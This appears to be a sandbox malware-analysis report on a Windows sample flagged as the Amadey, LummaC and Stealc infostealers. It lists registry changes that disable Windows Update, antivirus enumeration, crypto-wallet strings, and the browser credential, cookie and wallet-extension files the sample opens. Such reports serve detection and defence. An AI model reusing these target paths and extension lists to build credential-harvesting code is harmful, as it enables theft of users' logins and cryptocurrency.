Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: 09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.3010399483.000000000146B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 33.2.RETV5V6Q4X285DV6.exe.b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.0BSU3F1DFM4GF1Y0TBRRGTML6V.exe.d10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.skotes.exe.990000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.skotes.exe.990000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2329238363.0000000000D11000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2351037626.0000000000991000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2310001916.0000000005060000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2329802487.0000000005250000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2370281084.0000000000991000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2288969825.0000000005410000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2631105456.0000000004E60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000003.3030295147.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.3071469840.00000000000B1000.00000040.00000001.01000000.0000001C.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match	File source: 0000000D.00000003.2892795136.000000000189F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 29af563a7b.exe PID: 2792, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 4500, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 09d417a7c4.exe PID: 7836, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 39.2.num.exe.ab0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.num.exe.ab0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.num.exe.ab0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.RLX7QEJ1ATLQN8ECDIPHB.exe.d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.0.num.exe.ab0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.353ab0ae6e.exe.f60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.SOZIL3CYM3GR68KV3Z4.exe.770000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.353ab0ae6e.exe.f60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000025.00000002.3142989520.0000000000771000.00000040.00000001.01000000.0000001D.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.3147195806.000000000158E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2897071906.00000000005EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2828087899.000000000163E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.3188496259.0000000000AB1000.00000080.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2785659167.0000000005500000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000003.3055944395.0000000005150000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2898017549.0000000000AB1000.00000080.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2316405109.0000000004D70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3041756077.0000000000F61000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.2950368686.0000000005080000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2356707937.00000000000D1000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2357660473.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.3191784603.0000000001717000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2826208289.0000000000F61000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000000.2877490551.0000000000AB1000.00000080.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3039874893.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000000.3096831716.0000000000AB1000.00000080.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RLX7QEJ1ATLQN8ECDIPHB.exe PID: 2680, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 353ab0ae6e.exe PID: 8036, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: Wallets/Electrum-LTC
Source: file.exe	String found in binary or memory: Wallets/ElectronCash
Source: file.exe	String found in binary or memory: window-state.json
Source: file.exe	String found in binary or memory: Jaxx Liberty
Source: file.exe, 00000000.00000003.2167800399.0000000000D64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: file.exe, 00000000.00000003.2167800399.0000000000D64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: file.exe	String found in binary or memory: \??\C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: file.exe, 00000000.00000003.2167800399.0000000000D64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: 09d417a7c4.exe, 0000000B.00000003.2786782461.000000000147C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
